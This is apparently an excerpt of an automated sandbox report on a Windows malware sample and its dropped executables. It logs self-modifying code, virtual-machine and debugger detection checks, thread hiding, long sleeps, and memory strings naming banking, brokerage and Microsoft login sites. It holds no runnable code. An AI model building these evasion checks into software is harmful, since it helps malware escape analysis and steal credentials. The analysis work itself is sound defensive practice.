Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 5FB617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Special instruction interceptor: First address: 42D97E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Special instruction interceptor: First address: A4DDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Special instruction interceptor: First address: C03DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Special instruction interceptor: First address: C2F7D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Special instruction interceptor: First address: A4DDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Special instruction interceptor: First address: C9F7B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Special instruction interceptor: First address: BF775A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Special instruction interceptor: First address: BF5F7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Special instruction interceptor: First address: C0BFAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Special instruction interceptor: First address: C8A8D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Special instruction interceptor: First address: E1DDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Special instruction interceptor: First address: FD3DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Special instruction interceptor: First address: FFF7D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Special instruction interceptor: First address: E1DDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Special instruction interceptor: First address: 11E775A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Special instruction interceptor: First address: 11E5F7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Special instruction interceptor: First address: 11FBFAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Special instruction interceptor: First address: 106F7B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Special instruction interceptor: First address: 127A8D8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Memory allocated: 5310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Memory allocated: 54C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Memory allocated: 74C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Memory allocated: 54D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Memory allocated: 5690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Memory allocated: 7690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Memory allocated: 48B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Memory allocated: 4C30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Memory allocated: 4A50000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Code function: 3_2_00CAD585 rdtsc

3_2_00CAD585

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Code function: 3_2_00CBDF01 sidt fword ptr [esp-02h]

3_2_00CBDF01

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 473	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1697	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1951	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1933	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Window / User API: threadDelayed 392

Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe TID: 504	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4048	Thread sleep count: 473 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4048	Thread sleep time: -946473s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1944	Thread sleep count: 486 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1944	Thread sleep time: -972486s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6540	Thread sleep count: 273 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6540	Thread sleep time: -8190000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308	Thread sleep count: 1697 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308	Thread sleep time: -3395697s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1880	Thread sleep count: 1951 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1880	Thread sleep time: -3903951s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2760	Thread sleep count: 1933 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2760	Thread sleep time: -3867933s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 964	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep count: 477 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1968	Thread sleep time: -954477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe TID: 1016	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe TID: 6940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe TID: 7080	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe TID: 7044	Thread sleep count: 128 > 30
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe TID: 7044	Thread sleep count: 146 > 30
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe TID: 3616	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe TID: 1408	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe TID: 5940	Thread sleep count: 392 > 30
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe TID: 5940	Thread sleep count: 147 > 30
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe TID: 6940	Thread sleep time: -96000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe TID: 5392	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Thread delayed: delay time: 922337203685477

Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmp, S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, 00000004.00000002.2427168809.0000000000FF9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2465538734.0000000000C89000.00000040.00000001.01000000.0000000B.sdmp, 7451ae0b11.exe, 0000000B.00000002.3003413750.00000000005B8000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, file.exe, 00000000.00000003.2218579742.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2173591731.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FB2000.00000004.00000020.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3225777769.0000019E3D140000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: firefox.exe, 0000001A.00000002.3228922756.0000019E471AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.000000000602D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 58ce8f976c.exe, 0000000A.00000003.2944432729.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Pa5EAKvthdjN8x+2wmzDJakYn5ahGFs6BBUbN_
Source: file.exe, 00000000.00000003.2186543484.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186331939.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186701959.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214986734.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214639529.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214723198.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2186170971.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197032834.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197243172.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: lqeMuUnwoUAFmVCh
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 7451ae0b11.exe, 0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000002.2507260768.0000000000CB2000.00000040.00000001.01000000.00000006.sdmp, S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, 00000004.00000002.2427168809.0000000000FF9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2465538734.0000000000C89000.00000040.00000001.01000000.0000000B.sdmp, 7451ae0b11.exe, 0000000B.00000002.3003413750.00000000005B8000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 58ce8f976c.exe, 0000000C.00000003.3069968984.0000000006028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	Process queried: DebugPort
